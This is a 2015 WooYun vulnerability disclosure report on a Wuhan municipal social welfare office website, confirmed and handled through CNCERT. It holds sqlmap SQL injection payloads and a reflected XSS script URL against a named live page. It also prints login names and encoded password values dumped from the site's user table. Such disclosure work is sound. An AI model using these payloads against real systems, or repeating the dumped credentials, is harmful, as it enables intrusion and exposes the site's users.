当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0109912

漏洞标题:武汉市社会福利生产管理办公室漏洞打包

相关厂商:武汉市社会福利生产管理办公室

漏洞作者: l0wK3y

提交时间:2015-05-02 08:01

修复时间:2015-06-20 18:44

公开时间:2015-06-20 18:44

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-02: 细节已通知厂商并且等待厂商处理中
2015-05-06: 厂商已经确认,细节仅向厂商公开
2015-05-16: 细节向核心白帽子及相关领域专家公开
2015-05-26: 细节向普通白帽子公开
2015-06-05: 细节向实习白帽子公开
2015-06-20: 细节向公众公开

简要描述:

看了一下,发现存在不少问题.......

详细说明:

1.首先是sql注入
注入点 : http://www.whflsc.com/Web/Welfare/NewInfoList.aspx?channelname=%E9%80%9A%E7%9F%A5%E9%80%9A%E5%91%8A
存在基于时间的盲注
拿sqlmap稍微的跑了一下

QQ截图20150423151116.png


QQ截图20150423151150.png


sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: channelname (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: channelname=%E9%80%9A%E7%9F%A5%E9%80%9A%E5%91%8A') AND 3345=3345 AND ('vXuD'='vXuD
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: channelname=%E9%80%9A%E7%9F%A5%E9%80%9A%E5%91%8A') AND 6025=CONVERT(INT,(SELECT CHAR(113)+CHAR(98)+CHAR(107)+CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (6025=6025) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(120)+CHAR(106)+CHAR(113))) AND ('rOLA'='rOLA
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: channelname=%E9%80%9A%E7%9F%A5%E9%80%9A%E5%91%8A');WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind (comment)
Payload: channelname=%E9%80%9A%E7%9F%A5%E9%80%9A%E5%91%8A') WAITFOR DELAY '0:0:5'--
Type: UNION query
Title: Generic UNION query (NULL) - 19 columns
Payload: channelname=%E9%80%9A%E7%9F%A5%E9%80%9A%E5%91%8A') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(98)+CHAR(107)+CHAR(112)+CHAR(113)+CHAR(118)+CHAR(84)+CHAR(88)+CHAR(113)+CHAR(80)+CHAR(71)+CHAR(83)+CHAR(115)+CHAR(66)+CHAR(103)+CHAR(113)+CHAR(98)+CHAR(120)+CHAR(106)+CHAR(113),NULL,NULL,NULL,NULL,NULL--
---
web server operating system: Windows 2008 R2 or 7
web application technology: Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
Database: FulixitongCOSPACE_2.2.0_SETUP
Table: sys_user
[26 entries]
+--------------------------+
| password |
+--------------------------+
| 9A9g06SpFUI= |
| 9Im0zM9mMVE6qFXxJUMicQ== |
| dcFTAfW1TICsmH+Hk39X9A== |
| dcFTAfW1TICsmH+Hk39X9A== |
| fTO1M2olc74= |
| hrwEoMOKV7Y= |
| Ipta5jwkRJY= |
| mAPnEKx5XwY= |
| R2AKd+aZ0K4= |
| RiiHqVBf3b8= |
| RiiHqVBf3b8= |
| RiiHqVBf3b8= |
| RiiHqVBf3b8= |
| RiiHqVBf3b8= |
| RiiHqVBf3b8= |
| RiiHqVBf3b8= |
| RiiHqVBf3b8= |
| RiiHqVBf3b8= |
| RiiHqVBf3b8= |
| RiiHqVBf3b8= |
| RiiHqVBf3b8= |
| s9tCvBUO7Cg= |
| TE/MwzGIRPpbLU+4T3G6Lw== |
| w/x8Ll3RCMI= |
| WbN4oVKUeKC5UhzhHEx+5w== |
| wGZuM8VQtw0QwfVUidce6A== |
+--------------------------+
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: channelname (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: channelname=%E9%80%9A%E7%9F%A5%E9%80%9A%E5%91%8A') AND 3345=3345 AND ('vXuD'='vXuD
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: channelname=%E9%80%9A%E7%9F%A5%E9%80%9A%E5%91%8A') AND 6025=CONVERT(INT,(SELECT CHAR(113)+CHAR(98)+CHAR(107)+CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (6025=6025) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(120)+CHAR(106)+CHAR(113))) AND ('rOLA'='rOLA
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: channelname=%E9%80%9A%E7%9F%A5%E9%80%9A%E5%91%8A');WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind (comment)
Payload: channelname=%E9%80%9A%E7%9F%A5%E9%80%9A%E5%91%8A') WAITFOR DELAY '0:0:5'--
Type: UNION query
Title: Generic UNION query (NULL) - 19 columns
Payload: channelname=%E9%80%9A%E7%9F%A5%E9%80%9A%E5%91%8A') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(98)+CHAR(107)+CHAR(112)+CHAR(113)+CHAR(118)+CHAR(84)+CHAR(88)+CHAR(113)+CHAR(80)+CHAR(71)+CHAR(83)+CHAR(115)+CHAR(66)+CHAR(103)+CHAR(113)+CHAR(98)+CHAR(120)+CHAR(106)+CHAR(113),NULL,NULL,NULL,NULL,NULL--
---
web server operating system: Windows 2008 R2 or 7
web application technology: Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
Database: FulixitongCOSPACE_2.2.0_SETUP
Table: sys_user
[26 entries]
+---------------+
| loginname |
+---------------+
| admin1 |
| admin1 |
| cdmzj |
| dhkfq |
| dhstfjq |
| dxhmzj |
| hgxq |
| hnmzj |
| hpmzj |
| hsmzj |
| hymzj |
| jamzj |
| jhmzj |
| jxmzj |
| qkmzj |
| qsmzj |
| qy_login_user |
| scx |
| sds |
| sfl000 |
| sfl000 |
| sgl |
| sgs |
| wcmzj |
| whjjkfq |
| xzmzj |
+---------------+


2.反射型xss

http://www.whflsc.com/Web/Welfare/NewInfoList.aspx?channelname=%E9%80%9A%E7%9F%A5%E9%80%9A%E5%91%8A%3Cscript%3Ealert%281%29%3C/script%3E


QQ截图20150423152711.png


3.关于ms15-034
有这漏洞的服务器,网上一抓一大把

QQ截图20150423152937.png


QQ截图20150423152955.png


QQ截图20150423153333.png


漏洞证明:

QQ截图20150423151116.png


QQ截图20150423151150.png


QQ截图20150423152711.png


QQ截图20150423152937.png


QQ截图20150423152955.png


QQ截图20150423153333.png


修复方案:

过滤,升级......
网站不用了的话就直接关了吧...

版权声明:转载请注明来源 l0wK3y@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2015-05-06 18:44

厂商回复:

CNVD确认并复现所述漏洞情况,已经转由CNCERT下发给湖北分中心,由湖北分中心后续协调网站管理单位处置。

最新状态:

暂无


漏洞评价:

评论